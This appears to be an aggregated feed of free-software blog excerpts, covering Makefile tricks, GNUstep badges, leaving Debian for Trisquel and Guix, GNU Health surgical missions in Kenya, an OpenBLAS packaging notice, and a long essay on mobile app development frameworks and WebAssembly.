reasonable thing is to generate the
Makefile
with a little custom generator, or at least generate the part of it to
do this benchmark-library cross product. It's hard to be certain about
negative results with make; perhaps there is a trick. If so, do let
me know!
epilogueThanks to a kind note from Alexander Monakov, I am very happy to be proven wrong.
See, I thought that make functions were only really good in variables and rules and the like, and couldn't be usefully invoked "at the top level", to define new rules. But that's not the case! eval in particular can define new rules.
So a solution with eval might look something like this:
During the last month and a half I have mostly disappeared from GNU, being very busy writing p≡p-mail-tool (https://gitea.pep.foundation/pEp.foundation/pEp-mail-tool), a new work project I have freely let overflow into my personal time, as a beautiful little hack in which I believe. It is of course free software. Motivation Freedom of speech and privacy are more and more threatened by governments and hostile corporations working against the public interest. In this season of death of liberty the minimum we can do to respond is making surveillance more difficult, by providing the general public with easy tools to use for private communication. ... [Read more]
Finally I got around implementing and committing badge support in GNUStep! I think it is one of the fine additions Apple did to the original OpenStep spec
While Apple had it since MacOS 10.5, GNUstep didn't and GNUMail had to manage 3 different code paths: One for GNUstep, one for 10.4 Mac and one for 10.5 and later which I implemented myself, since GNUMail originally didn't have it.
First, I with Fred and Richard brought up GNUmail code to match the 10.4 code path, which is generic and just draws the Icon. To do this, I had to change the code, since ImageReps are not writable in GNUstep, so NSCustomImageRep had to be used and it woks both on GNUstep and on Mac.
Later, proper badges support has been added in GNUstep, here the look with GNUMail and with a small test application, which is ported directly from Mac and compiled using xcode buildtool.
As we were tried to match certain Apple behaviours, like ellipsis, but also an addition: I made the colors themable.
Here a nice screenshot of the two things working with the Sonne theme. Thematic was enhanced to handle the badgeColor with its three shades matching the ring, text and badge background.
Read why "Web Environment Integrity" is terrible, and why we must vocally oppose it now. Google's latest maneuver, if we don't act to stop it, threatens our freedom to explore the Internet with browsers of our choice.
Good evening, comrades. This evening, words on reading.
obtaining readables Since the pandemic, or maybe a bit before, I picked up a new habit: if I hear of a book which is liked by someone I find interesting, I buy a copy.
Getting to this point required some mental changes. When I was younger, buying lots of books wasn’t really thinkable; as a student I was well-served by libraries in my mother tongue, and never picked up the habit of allocating my meager disposable income to books. I did like bookstores, especially used bookstores, but since leaving university I emigrated to countries that spoke different languages; the crate-digging avenue was less accessible to me.
I also had to make peace with capitalism, or as the comic says it, “participating in society”. We all know that Amazon imposes a dialectic on the written word: it makes it astonishingly easy and cheap to obtain anything you want, but also makes it hard to earn a living from writing, producing, and distributing books; consuming words via Amazon undermines the production of the words you want to read.
So I didn’t. Participate, I mean; didn’t order off Amazon. Didn’t read much either. At this point in my life, though, I see it everywhere: purity is the opposite of praxis. I still try to avoid Amazon, quixotically ordering mostly off AbeBooks, a now-fully-owned subsidiary of Amazon which fulfills via independent bookstores, but not avoiding Amazon entirely.
If you have access to and a habit of borrowing via a library in your language, you are almost certainly a better reader than I. But for the rest of us, and if you have the cash, maybe you too can grant yourself permission: when you hear of an interesting book, just buy it.
the ministry for the futureIt was surely in this way that I heard of Kim Stanley Robinson’s « The Ministry for the Future ». My copy sat around for a year or so before I got around to it. We all hear the doom and gloom about the climate, and it’s all true; at least, everything about the present. But so much of it comes to us in a way that is fundamentally disempowering, that there is nothing to be done. I find this to be painful, viscerally; I prefer no news rather than bad news that I can’t act on, or at least incorporate into a longer narrative of action.
This may be a personal failing, or a defect. I have juvenile cultural tastes: I don’t like bad things to happen to good people. Jane Eyre was
excruciating: to reach an ultimately heavenly resolution, as a reader I had to suffer with every step. Probably this is recovering-Catholic scar damage.
In any case, climate fiction tends to be more hell than heaven, and I hate it all the more for another reason, that we are here in this moment and we can do things: why tell us that nothing matters? Why would you write a book like that? What part of praxis is that?
Anyway it must have been the premise that made Robinson’s book pass my pre-filters: that the COP series of meetings established a new UN agency that was responsible for the interests of future generations, notably as regards climate. The book charts the story of this administration from its beginnings over a period of some 40 years or so. It’s a wonderfully human, gripping story, and we win.
We don’t win inevitably; the book isn’t a prediction, but more of a prophecy in a sense: an exercise in narrative genesis, a precursor to history, a seed: one not guaranteed to germinate, but which might.
At this point I find the idea of actually participating in a narrative to be almost foreign, or rather alienated. When I was younger, the talk was “after the revolution” this, or “in the future” that, but with enough time and deracination, I lost my vision of how to get there from here. I don’t have it back, not yet anyway, but I think it’s coming. Story precedes history; storytellers are the ones that can breathe life into the airships of the mind. Robinson has both the airships and the gift to speak them into existence. Check it out, comrades, it is required reading!
We are rebooting the current member drive with an extension goal to gain twenty-five new members by July 28. For those who join as new members during this time, we have a fancy genuine wood GNU sticker to reward you for supporting the FSF.
The 2023 Spring "Free Software Foundation Bulletin" is here! Read about the right to repair movement, web browser privacy, a volunteer rescue response to an earthquake, and much more.
This article gives a glimpse behind the scenes of recent work done
by the FSF tech team. Read about Prometheus, AMT data import, OS
upgrades, and more.
A personal reflection on how I moved from my Debian home to find two new homes with Trisquel and Guix for my own ethical computing, and while doing so settled my dilemma about further Debian contributions.
Debian‘s contributions to the free software community has been tremendous. Debian was one of the early distributions in the 1990’s that combined the GNU tools (compiler, linker, shell, editor, and a set of Unix tools) with the Linux kernel and published a free software operating system. Back then there were little guidance on how to publish free software binaries, let alone entire operating systems. There was a lack of established community processes and conflict resolution mechanisms, and lack of guiding principles to motivate the work. The community building efforts that came about in parallel with the technical work has resulted in a steady flow of releases over the years.
From the work of Richard Stallman and the Free Software Foundation (FSF) during the 1980’s and early 1990’s, there was at the time already an established definition of free software. Inspired by free software definition, and a belief that a social contract helps to build a community and resolve conflicts, Debian’s social contract (DSC) with the free software community was published in 1997. The DSC included the Debian Free Software Guidelines (DFSG), which directly led to the Open Source Definition.
I was introduced to GNU/Linux through Slackware in the early 1990’s (oh boy those nights calculating XFree86 modeline’s and debugging sendmail.cf) and primarily used RedHat Linux during ca 1995-2003. I switched to Debian during the Woody release cycles, when the original RedHat Linux was abandoned and Fedora launched. It was Debian’s explicit community processes and infrastructure that attracted me. The slow nature of community processes also kept me using RedHat for so long: centralized and dogmatic decision processes often produce quick and effective outcomes, and in my opinion RedHat Linux was technically better than Debian ca 1995-2003. However the RedHat model was not sustainable, and resulted in the RedHat vs Fedora split. Debian catched up, and reached technical stability once its community processes had been grounded. I started participating in the Debian community around late 2006.
My interpretation of Debian’s social contract is that Debian should be a distribution of works licensed 100% under a free license. The Debian community has always been inclusive towards non-free software, creating the contrib/non-free section and permitting use of the bug tracker to help resolve issues with non-free works. This is all explained in the social contract. There has always been a clear boundary between free and non-free work, and there has been a commitment that the Debian system itself would be 100% free.
The concern that RedHat Linux was not 100% free software was not critical to me at the time: I primarily (and happily) ran GNU tools on Solaris, IRIX, AIX, OS/2 and Windows. Running GNU tools on RedHat Linux was an improvement, and I hadn’t realized it was possible to get rid of all non-free software on my own primary machine. Debian realized that goal for me. I’ve been a believer in that model ever since. I can use Solaris, Mac OS X, Android etc knowing that I have the option of using a 100% free Debian.
While the inclusive approach towards non-free software invite and deserve criticism (some argue that being inclusive to non-inclusive behavior is a bad idea), I believe that Debian’s approach was a successful survival technique: by being inclusive to – and a compromise between – free and non-free communities, Debian has been able to stay relevant and contribute to both environments. If Debian had not served and contributed to the free community, I believe free software people would have stopped contributing. If Debian had rejected non-free works completely, I don’t think the successful Ubuntu distribution would have been based on Debian.
I wrote the majority of the text above back in September 2022, intending to post it as a way to argue for my proposal to maintain the status quo within Debian. I didn’t post it because I felt I was saying the obvious, and that the obvious do not need to be repeated, and the rest of the post was just me going down memory lane.
The Debian project has been a sustainable producer of a 100% free OS up until Debian 11 bullseye. In the resolution on non-free firmware the community decided to leave the model that had resulted in a 100% free Debian for so long. The goal of Debian is no longer to publish a 100% free operating system, instead this was added: “The Debian official media may include firmware”. Indeed the Debian 12 bookworm release has confirmed that this would not only be an optional possibility. The Debian community could have published a 100% free Debian, in parallel with the non-free Debian, and still be consistent with their newly adopted policy, but chose not to. The result is that Debian’s policies are not consistent with their actions. It doesn’t make sense to claim that Debian is 100% free when the Debian installer contains non-free software. Actions speaks louder than words, so I’m left reading the policies as well-intended prose that is no longer used for guidance, but for the peace of mind for people living in ivory towers. And to attract funding, I suppose.
So how to deal with this, on a personal level? I did not have an answer to that back in October 2022 after the vote. It wasn’t clear to me that I would ever want to contribute to Debian under the new social contract that promoted non-free software. I went on vacation from any Debian work. Meanwhile Debian 12 bookworm was released, confirming my fears. I kept coming back to this text, and my only take-away was that it was no longer ethical for me to use Debian. Letting actions speak for themselves, I switched to PureOS on my main laptop during October, barely noticing any difference since it is based on Debian 11 bullseye. Back in December, I bought a new laptop and tried Trisquel and Guix on it, as they promise a migration path towards ppc64el that PureOS do not.
While I pondered how to approach my modest Debian contributions, I set out to learn Trisquel and gained trust in it. I migrated one Debian machine after another to Trisquel, and started to use Guix on others. Migration was easy because Trisquel is based on Ubuntu which is based on Debian. Using Guix has its challenges, but I enjoy its coherant documented environment. All of my essential self-hosted servers (VM hosts, DNS, e-mail, WWW, Nextcloud, CI/CD builders, backup etc) uses Trisquel or Guix now. I’ve migrated many GitLab CI/CD rules to use Trisquel instead of Debian, to have a more ethical computing base for software development and deployment. I wish there were official Guix docker images around.
Time has passed, and when I now think about any Debian contributions, I’m a little less muddled by my disappointment of the exclusion of a 100% free Debian. I realize that today I can use Debian in the same way that I use Mac OS X, Android, RHEL or Ubuntu. And what prevents me from contributing to free software on those platforms? So I will make the occasional Debian contribution again, knowing that it will also indirectly improve Trisquel. To avoid having to install Debian, I need a development environment in Trisquel that allows me to build Debian packages. I have found a recipe for doing this:
Run in a directory with debian/ to build a package:
gbp buildpackage --git-pbuilder --git-dist=sid`
How to sustainably deliver a 100% free software binary distributions seems like an open question, and the challenges are not all that different compared to the 1990’s or early 2000’s. I’m hoping Debian will come back to provide a 100% free platform, but my fear is that Debian will compromise even further on the free software ideals rather than the opposite. With similar arguments that were used to add the non-free firmware, Debian could compromise the free software spirit of the Linux boot process (e.g., boot images signed by Debian) and media handling (e.g., web browsers and DRM), as Debian have already done with appstore-like functionality for non-free software (Python pip). To learn about other freedom issues in Debian packaging, browsing Trisquel’s helper scripts may enlight you.
Debian’s setback and the recent setback for RHEL-derived distributions are sad, and it will be a challenge for these communities to find internally consistent coherency going forward. I wish them the best of luck, as Debian and RHEL are important for the wider free software eco-system. Let’s see how the community around Trisquel, Guix and the other FSDG-distributions evolve in the future.
The situation for free software today appears better than it was years ago regardless of Debian and RHEL’s setbacks though, which is important to remember! I don’t recall being able install a 100% free OS on a modern laptop and modern server as easily as I am able to do today.
Our copyright & licensing associate Craig Topham is working together
with free software developers, lawyers, and volunteers to help the
community with licensing questions, finding hardware that respects
your freedom, and keeping the public informed of interesting free
software projects out there. In this article, Topham shares some of the
accomplishments the Licensing and Compliance Lab achieved during the
last six months.
The team from Cirugía Solidaria has completed another successful campaign in the African continent.
Health professionals from Maragua hospital and Cirugía Solidaria with GNU Health Hospital Management System training session
The project took place in the hospital of Maragua, in Muranga county, Kenya. Dr. Victor López, from Cirugía Solidaria, describes the experiences during the seven day mission:
“In our latest project in Maragua, Kenya, we had 406 patient evaluations, and 142 of these patients underwent surgery. Some relevant information on the surgical procedures were 32 pediatric surgeries, 22 goiter, 11 cervical masses and 13 oncological surgeries. In addition, we detected 36 patients with cancer that were referred to the Kenya National Cancer Registry for treatment and followup.”
The mission checklist: In these type of projects, there are quite a bit of preparation that starts at home, in Spain, before taking the airplane to the final destination. In addition to the medical and surgical infrastructure, since the partnership with GNU Solidario, medical informatics components are now part of every mission from Cirugía Solidaria. For instance, the GNUHealth Hospital Management system instance is created, with the functionality and localization to meet the health institution needs and country needs. Network routers, laptops, batteries, backup devices…. everything has do be tested thoroughly in different contexts, because once you arrive to destination, there might not be Internet available.
Source: Cirugía Solidaria
Surgicaltraining: In addition to the medical assistance and surgical procedures, Cirugía Solidaria also takes the Dr López noted, in addition, 11 health professionals have participated in training sessions related to surgery.
The role of GNUHealth: Dr. López went on highlighting the importance of GNUHealth. We want to highlight the GNU Health Hospital Management System in the our medical and surgical assistance. We have recorded all the patients, the evaluations and the details of the surgical procedures. In addition, we have addressed notes and details so we can followup when we return to the center. Moreover, GNU Health has been managed 100% by the health professionals from Kenya, they’ve have felt fully integrated in the initiative, being now part of the team. We are very grateful to the GNUHealth community for the enormous task they do to improve the assistance in countries and places that need it most.
We’d like to remark the importance of Dr. Lopez statement “GNU Health has been managed 100% by the health professionals from Kenya“. This is key, because not only the mission is very valuable to help those that need it most (medical and surgical), but it also generates local capacity and sustainable projects, for the betterment of our societies.
We are very grateful to Cirugía Solidaria and excited to keep on working side-by-side in upcoming projects, building local capacity and delivering a much needed universal healthcare. By looking at the statistics from the latest campaign, those numbers reflect lives that have been saved by anonymous heroes that leave their daily work aside to assist the underprivileged anywhere around the world.
Finally, some technical details for those of us who understand that Free/Libre software and open science are key for freedom, privacy and equity in healthcare: GNUHealth instance was installed on a Debian GNU/Linux 12 server, with GNU Health Hospital Information Management System component 4.2, Tryton 6.0 and PostgreSQL 15. Our gratitude to these fabulous pieces of software, that make GH a reality today.
Poke arrays are rather peculiar. One of their seemingly
bizarre characteristics is the fact that the expressions
calculating their boundaries (when they are bounded) evaluate
in their own lexical environment, which is captured. In other
words: the expressions denoting the boundaries of Poke arrays
conform closures. Also, the way they evaluate may be
surprising. This is no capricious.
In his speech at the University of Pisa on June 7, Richard Stallman
addressed the topic of machine learning systems (so-called "artificial intelligence") and answered the question of whether the training data should be released.
How do we counter the dangers resulting from the ongoing, worldwide legislation like Chat control, the EARN IT Act, and the so-called "Online Safety Bill" that threatens end-to-end encryption, and privacy in general? Take action! Write a letter to the appropriate agencies to let them know that you value your privacy and the privacy of the people around you, and remind them of their duty to protect it.
The openblas package prior to version 0.3.23-2 doesn't ship optimized
LAPACK routine and CBLAS/LAPACKE interfaces for compatibility. This
decision has been reverted now, and the ability to choose a different
default system BLAS/LAPACK implementation while keeping openblas
installed is now provided to allow future co-installation of BLIS,
ATLAS, etc.
The default BLAS implementation will be used for most packages like
NumPy or R. Please install "blas-openblas" and "blas64-openblas" to make
OpenBLAS the default BLAS implementation, just like the old behavior.
Unfortunately you will get errors on updating if you currently have
OpenBLAS installed as the default BLAS implementation:
error: failed to prepare transaction (could not satisfy dependencies)
:: installing openblas (0.3.23-2) breaks dependency 'blas' required by cblas
:: installing openblas (0.3.23-2) breaks dependency 'blas' required by
lapack
Please append your preferred default BLAS implementation to the regular
-Syu command line to get around it. For example:
Good morning, hackers. Today I'd like to pick up my series on mobile
application development. To recap, we looked at:
Ionic/Capacitor, which makes mobile app development more like web
app development;
React Native, a flavor of React that renders to
platform-native UI components rather than the Web, with ahead-of-time
compilation of JavaScript;
NativeScript, which exposes all platform capabilities directly to
JavaScript and lets users layer their preferred framework on top;
Flutter, which bypasses the platform's native UI components to
render directly using the GPU, and uses Dart instead of
JavaScript/TypeScript; and
Ark, which is Flutter-like in its rendering, but programmed via a
dialect of TypeScript, with its own multi-tier compilation
and distribution pipeline.
Taking a step back, with the exception of Ark which has a special
relationship to HarmonyOS and Huawei, these frameworks are all layers on
top of what is provided by Android or iOS. Why would you do that?
Presumably there are benefits to these interstitial layers; what are
they?
Probably the most basic answer is that an app framework layer offers the
promise of abstracting over the different platforms. This way you can
just have one mobile application development team instead of two or
more. In practice you still need to test on iOS and Android at least,
but this is cheaper than having fully separate Android and iOS teams.
Given that we are abstracting over platforms, it is natural also to
abandon platform-specific languages like Swift or Kotlin. This is the
moment in the strategic planning process that unleashes chaos: there is
a fundamental element of randomness and risk when choosing a programming
language and its community. Languages exist on a hype and adoption
cycle; ideally you want to catch one on its way up, and you want it to
remain popular over the life of your platform (10 years or so). This is
not an easy thing to do and it's quite possible to bet on the wrong
horse. However the communities around popular languages also bring
their own risks, in that they have fashions that change over time, and
you might have to adapt your platform to the language as fashions come and
go, whether or not these fashions actually make better apps.
Choosing JavaScript as your language places more emphasis on the
benefits of popularity, and is in turn a promise to adapt to ongoing
fads. Choosing a more niche language like Dart places more emphasis on
predictability of where the language will go, and ability to shape the
language's future; Flutter is a big fish in a small pond.
There are other language choices, though; if you are building your own
thing, you can choose any direction you like. What if you used Rust?
What if you doubled down on WebAssembly, somehow? In some ways we'll
never know unless we go down one of these paths; one has to pick a
direction and stick to it for long enough to ship something, and endless
tergiversations on such basic questions as language are not helpful.
But in the early phases of platform design, all is open, and it would be
prudent to spend some time thinking about what it might look like in one
of these alternate worlds. In that spirit, let us explore these futures
to see how they might be.
alternate world: rustThe arc of history bends away from C and C++ and towards Rust. Given
that a mobile development platform has to have some low-level code,
there are arguments in favor of writing it in Rust already instead of
choosing to migrate in the future.
One advantage of Rust is that programs written in it generally have
fewer memory-safety bugs than their C and C++ counterparts, which is
important in the context of smart phones that handle untrusted
third-party data and programs, i.e., web sites.
Also, Rust makes it easy to write parallel programs. For the same
implementation effort, we can expect Rust programs to make more
efficient use of the hardware than C++ programs.
And relative to JavaScript et al, Rust also has the advantage of
predictable performance: it requires quite a good ahead-of-time
compiler, but no adaptive optimization at run-time.
These observations are just conversation-starters, though, and when it
comes to imagining what a real mobile device would look like with a Rust
application development framework, things get more complicated.
Firstly, there is the approach to UI: how do you get pixels on the
screen and events from the user? The three general solutions are to use
a web browser engine, to use platform-native widgets, or to build
everything in Rust using low-level graphics primitives.
The first approach is taken by the
Tauri
framework: an app is broken into two pieces, a Rust server and an
HTML/JS/CSS front-end. Running a Tauri app creates a WebView in which
to run the front-end, and establishes a bridge between the web client
and the Rust server. In many ways the resulting system ends up looking
a lot like Ionic/Capacitor, and many of the UI questions are left open
to the user: what UI framework to use, all of the JavaScript
programming, and so on.
Instead of using a platform's WebView library, a Rust app could instead
ship a WebView. This would of course make the application binary size
larger, but tighter coupling between the app and the WebView may allow
you to run the UI logic from Rust itself instead of having a large JS
component. Notably this would be an interesting opportunity to adopt
the Servo web engine, which is itself written in
Rust. Servo is a project that in many ways exists in potentia; with
more investment it could become a viable alternative to Gecko, Blink, or
WebKit, and whoever does the investment would then be in a position of
influence in the web platform.
If we look towards the platform-native side, though there are quite a
number of Rust libraries that provide wrappers to native
widgets, practically all of these
primarily target the desktop. Only
cacao supports iOS widgets, and
there is no equivalent binding for Android, so any
NativeScript-like
solution in Rust would require a significant amount of work.
In contrast, the ecosystem of Rust UI libraries that are implemented on
top of OpenGL and other low-level graphics facilities is much more
active and interesting. Probably the best recent overview of this
landscape is by Raph
Levien,
(see the "quick tour of existing architectures" subsection). In
summary, everything is still in motion and there is no established
consensus as to how to approach the problem of UI development, but there
are many interesting experiments in progress. With my engineer hat on,
exploring these directions looks like fun. As Raph notes, some degree
of exploration seems necessary as well: we will only know if a given
approach is a good idea if we spend some time with it.
However if instead we consider the situation from the perspective of
someone building a mobile application development framework, Rust seems
more of a mid/long-term strategy than a concrete short-term option.
Sure, build low-level libraries in Rust, to the extent possible, but
there is no compelling-in-and-of-itself story yet that you can sell to
potential UI developers, because everything is still so undecided.
Finally, let us consider the question of scripting: sometimes you need
to add logic to a program at run-time. It could be because actually
most of your app is dynamic and comes from the network; in that case
your app is like a little virtual machine. If your app development
framework is written in JavaScript, like Ionic/Capacitor, then you have
a natural solution: just serve JavaScript. But if your app is written
in Rust, what do you do? Waiting until the app store pushes a new
version of the app to the user is not an option.
There would appear to be three common solutions to this problem. One is
to use JavaScript -- that's what Servo does, for example. As a web
engine, Servo doesn't have much of a choice, but the point stands.
Currently Servo embeds a copy of SpiderMonkey, the JS engine from
Firefox, and it does make sense for Servo to take advantage of an
industrial, complete JS engine. Of course, SpiderMonkey is written in
C++; if there were a JS engine written in Rust, probably Rust
programmers would prefer it. Also it would be fun to write, or rather,
fun to start writing; reaching the level of ECMA-262 conformance of
SpiderMonkey is at least a hundred-million-dollar project. Anyway what
I am saying is that I understand why Boa was
started, and I wish them the many millions of dollars needed to see it
through to completion.
You are not obliged to script your app via JavaScript, of course; there
are many languages out there that have "extending a low-level core" as
one of their core use cases. I think the mitigated success that this
approach has had over the years—who embeds Python into an iPhone
app?—should probably rule out this strategy as a core part of an
application development framework. Still, I should mention one
Rust-specific option, Rhai; the pitch is that by
being Rust-specific, you get more expressive interoperation between Rhai
and Rust than you would between Rust and any other dynamic language.
Still, it is not a solution that I would bet on: Rhai internalizes so
many Rust concepts (notably around borrowing and lifetimes) that I think
you have to know Rust to write effective Rhai, and knowing both is quite
rare. Anyone who writes Rhai would probably rather be writing Rust, and
that's not a good equilibrium.
The third option for scripting Rust is WebAssembly. We'll get to that
in a minute.
alternate world: the web of pixelsLet's return to Flutter for a moment, if you will. Like the more active
Rust GUI development projects, Flutter is an all-in-one rendering
framework based on low-level primitives; all it needs is Vulkan or Metal
or (soon) WebGPU, and it handles the rest, layering on opinionated
patterns for how to build user interfaces. It didn't arrive to this
state in a day, though. To hear Eric Seidel tell the
story, Flutter began as a
kind of "reset" for the Web, a conscious attempt to determine from the
pieces that compose the Web rendering stack, which ones enable smooth
user interfaces and which ones get in the way. After taking away all of
the parts they didn't need, Flutter wasn't left with much: just GPU
texture layers, a low-level drawing toolkit, and the necessary bindings
to input events. Of course what the application programmer sees is much
more high-level, but underneath, these are the platform primitives that
Flutter uses.
So, imagine you work at Google. You used to work on the web—maybe on
WebKit and then Chrome like Eric, maybe on web standards—but you broke
with this past to see what Flutter might become. Flutter works: great
job everybody! The set of graphical and input primitives that you use
is minimal enough that it is abstract by nature; it doesn't much matter
whether you target iOS or Android, because the primitives will be there.
But the web is still the web, and it is annoying, aesthetically
speaking. Could we Flutter-ize the web? What would that mean?
That's exactly what former HTML specification editor and now Flutter
team member Ian Hixie proposed this January in a brief manifesto,
Towards a modern Web
stack.
The basic idea is that the web and thus the browser is, well, a bit
much. Hixie proposed to start over, rebuilding the web on top of
WebAssembly (for code),
WebGPU (for
graphics),
WebHID
(for input), and ARIA (for
accessibility). Technically it's a very interesting proposition! After
all, people that build complex web apps end up having to fight with the
platform to get the results they want; if we can reorient them to focus
on these primitives, perhaps web apps can compete better with native
apps.
However if you game out what is being proposed, I have doubts. The
existing web is largely HTML, with JavaScript and CSS as add-ons: a web
of structured text. Hixie's flutterized web proposal, on the other
hand, is a web of pixels. This has a number of implications. One is
that each app has to ship its own text renderer and internationalization
tables, which is a bit silly to say the least. And whereas we take it
for granted that we can mouse over a web page and select its text, with
a web of pixels it is much less obvious how that would happen. Hixie's
proposal is that apps expose structure via
ARIA, but as far as I understand there is
no association between pixels and ARIA properties: the pixels themselves
really have no built-in structure to speak of.
And of course unlike in the web of structured text, in a web of pixels
it would be up each app to actually describe its structure via ARIA:
it's not a built-in part of the system. But if you combine this with
the rendering story (here's WebGPU, now draw the rest of the
owl),
Hixie's proposal leaves a void for frameworks to fill between what the
app developer wants to write (e.g. Flutter/Dart) and the platform
(WebGPU/ARIA/etc).
I said before that I had doubts and indeed I have doubts about my
doubts. I am old enough to remember when X11 apps on Unix
desktops changed from having fonts
rendered on the server (i.e. by the operating system) to having them
rendered on the client (i.e. the app), which was associated with a
similar kind of anxiety. There were similar factors at play:
slow-moving standards (X11) and not knowing at build-time what the
platform would actually provide (which X server would be in use, etc).
But instead of using the server, you could just ship pixels, and that's
how GNOME got good text rendering, with
Pango and
FreeType and
fontconfig, and
eventually HarfBuzz, the text
shaper used in Chromium and Flutter and many other places. Client-side
fonts not only enabled more complex text shaping but also eliminated
some round-trips for text measurement during UI layout, which is a bit
of a theme in this article series. So could it be that pixels instead
of text does not represent an apocalypse for the web? I don't know.
Incidentally I cannot move on from this point without pointing out
another narrative thread, which is that of continued human effort over
time. Raph Levien, who I mentioned above as a
Rust UI toolkit developer, actually spent quite some time doing graphics
for GNOME in the early 2000s; I remember working with his libart_lgpl.
Behdad Esfahbod, author of HarfBuzz, built many
parts of the free software text rendering stack before moving on to
Chrome and many other things. I think that if you work on this low
level where you are constantly translating text to textures, the
accessibility and interaction benefits of using a platform-provided text
library start to fade: you are the boss of text around here and you can
implement the needed functionality yourself. From this perspective,
pixels don't represent risk at all. In the old days of GNOME 2,
client-side font rendering didn't lead to bad UI or poor accessibility.
To be fair, there were other factors pushing to keep work in a commons,
as the actual text rendering libraries still tended to be shipped with
the operating system as shared libraries. Would similar factors prevail
in a statically-linked web of pixels?
In a way it's a moot question for us, because in this series we are
focussing on native app development. So, if you ship a platform, should
your app development framework look like the web-of-pixels proposal, or
something else? To me it is clear that as a platform, you need more.
You need a common development story for how to build user-facing apps:
something that looks more like Flutter and less like the primitives that
Flutter uses. Though you surely will include a web-of-pixels-like
low-level layer, because you need it yourself, probably you should also
ship shared text rendering libraries, to reduce the install size for
each individual app.
And of course, having text as part of the system has the side benefit of
making it easier to get users to install OS-level security patches: it
is well-known in the industry that users will make time for the update
if they get a new goose emoji in exchange.
alternate world: webassemblyHark! Have you heard the good word? Have you accepted your Lord and
savior, WebAssembly, into your heart? I
jest; it does sometime feel like messianic narratives surrounding
WebAssembly prevent us from considering its concrete aspects. But
despite the hype, WebAssembly is clearly a technology that will be a
part of the future of computing. So let's dive in: what would it mean
for a mobile app development platform to embrace WebAssembly?
Before answering that question, a brief summary of what WebAssembly is.
WebAssembly 1.0 is portable bytecode format that is a good compilation
target for C, C++, and Rust. These languages have good compiler
toolchains that can produce WebAssembly. The nice thing is that when
you instantiate a WebAssembly module, it is completely isolated from its
host: it can't harm the host (approximately speaking). All points of
interoperation with the host are via copying data into memory owned by
the WebAssembly guest; the compiler toolchains abstract over these
copies, allowing a Rust-compiled-to-native host to call into a
Rust-compiled-to-WebAssembly module using idiomatic Rust code.
So, WebAssembly 1.0 can be used as a way to script a Rust application.
The guest script can be
interpreted, compiled just
in time, or compiled ahead of time for peak throughput.
Of course, people that would want to script an application probably want
a higher-level language than Rust. In a way, WebAssembly is in a
similar situation as WebGPU in the web-of-pixels proposal: it is a
low-level tool that needs higher-level toolchains and patterns to bridge
the gap between developers and primitives.
Indeed, the web-of-pixels proposal specifies WebAssembly as the compute
primitive. The idea is that you ship your application as a WebAssembly
module, and give that module WebGPU, WebHID, and ARIA capabilities via
imports.
Such a WebAssembly module doesn't script an existing application: it
is the app. So another way for an app development platform to use
WebAssembly would be like how the web-of-pixels proposes to do it: as an
interchange format and as a low-level abstraction. As in the scripting
case, you can interpret or compile the module. Perhaps an
infrequently-run app would just be interpreted, to save on disk space,
whereas a more heavily-used app would be optimized ahead of time, or
something.
We should mention another interesting benefit of WebAssembly as a
distribution format, which is that it abstracts over the specific
chipset on the user's device; it's the device itself that is responsible
for efficiently executing the program, possibly via compilation to
specialized machine code. I understand for example that RISC-V people
are quite happy about this property because it lowers the barrier to
entry for them relative to an ARM monoculture.
WebAssembly does have some limitations, though. One is that if the
throughput of data transfer between guest and host is high, performance
can be bad due to copying overhead. The nascent memory-control
proposal
aims to provide an mmap capability, but it is still early days. The
need to copy would be a limitation for using WebGPU primitives.
More generally, as an abstraction, WebAssembly may not be able to
express programs in the most efficient way for a given host platform.
For example, its SIMD operations work on 128-bit vectors, whereas host
platforms may have much wider vectors. Any current limitation will
recede with time, as WebAssembly gains new features, but every year brings new hardware capabilities (tensor operation accelerator,
anyone?), so there will be some impedance-matching to do for the
foreseeable future.
The more fundamental limitation of the 1.0 version of WebAssembly is
that it's only a good compilation target for some languages. This is
because some of the fundamental parts of WebAssembly that enable
isolation between host and guest (structured control flow, opaque stack,
no instruction pointer) make it difficult to efficiently implement
languages that need garbage collection, such as Java or Go. The coming
WebAssembly 2.0 starts to address this need by including low-level
managed arrays and records, allowing for reasonable ahead-of-time
compilation of languages like Java. Getting a dynamic language like
JavaScript to compile to efficient WebAssembly can still be a challenge,
though, because many of the just-in-time techniques needed to
efficiently implement these languages will still be missing in
WebAssembly 2.0.
Before moving on to WebAssembly as part of an app development framework,
one other note: currently WebAssembly modules do not compose very well
with each other and with the host, requiring extensive toolchain support
to enable e.g. the use of any data type that's not a scalar integer or
floating-point value. The component model working
group is trying to
establish some abstractions and associated tooling, but (again!) it is
still early days. Anyone wading into this space needs to be prepared to
get their hands dirty.
To return to the question at hand, an app development framework can use
WebAssembly for scripting, though the problem of how to compose a host
application with a guest script requires good tooling. Or, an app
development framework that exposes a web-of-pixels primitive layer can
support running WebAssembly apps directly, though again, the set of
imports remains to be defined. Either of these two patterns can stick
with WebAssembly 1.0 or also allow for garbage collection in WebAssembly
2.0, aiming to capture mindshare among a broader community of potential
developers, potentially in a wide range of languages.
As a final observation: WebAssembly is ecumenical, in the sense that it
favors no specific church of how to write programs. As a platform,
though, you might prefer a state religion, to avoid wasting internal and
external efforts on redundant or ill-advised development. After all, if
it's your platform, presumably you know best.
summaryWhat is to be done?
Probably there are as many answers as people, but since this is my blog,
here are mine:
On the shortest time-scale I think that it is entirely reasonable to
base a mobile application development framework on JavaScript. I
would particularly focus on TypeScript, as late error detection is
more annoying in native applications.
I would to build something that looks like Flutter underneath:
reactive, based on low-level primitives, with a multithreaded
rendering pipeline. Perhaps it makes sense to take some inspiration
from WebF.
In the medium-term I am sympathetic to Ark's desire to extend the
language in a more ResultBuilder-like
direction, though this is not without risk.
Also in the medium-term I think that modifications to TypeScript to
allow for sound typing could provide some of the advantages of
Dart's ahead-of-time compiler to JavaScript developers.
In the long term... well we can do all things with unlimited
resources, right? So after solving climate change and homelessness,
it makes sense to invest in frameworks that might be usable 3 or 5
years from now. WebAssembly in particular has a chance of sweeping
across all platforms, and the primitives for the web-of-pixels will
be present everywhere, so if you manage to produce a compelling
application development story targetting those primitives, you could
eat your competitors' lunch.
Well, friends, that brings this article series to an end; it has been
interesting for me to dive into this space, and if you have read down to
here, I can only think that you are a masochist or that you have also
found it interesting. In either case, you are very welcome. Until next
time, happy hacking.
I'm Sarthak and I'll be working on implementing Parameterized Packages
for GNU Guix as a Google Summer of Code
intern under the guidance of Pjotr Prins and Gábor Boskovits.
What are Parameterized Packages?One of the many advantages of free software is the
availability of compile-time options for almost all packages.
Thanks to its dedication to building all packages from source,
Guix is one of the few GNU/Linux distributions that can take advantage
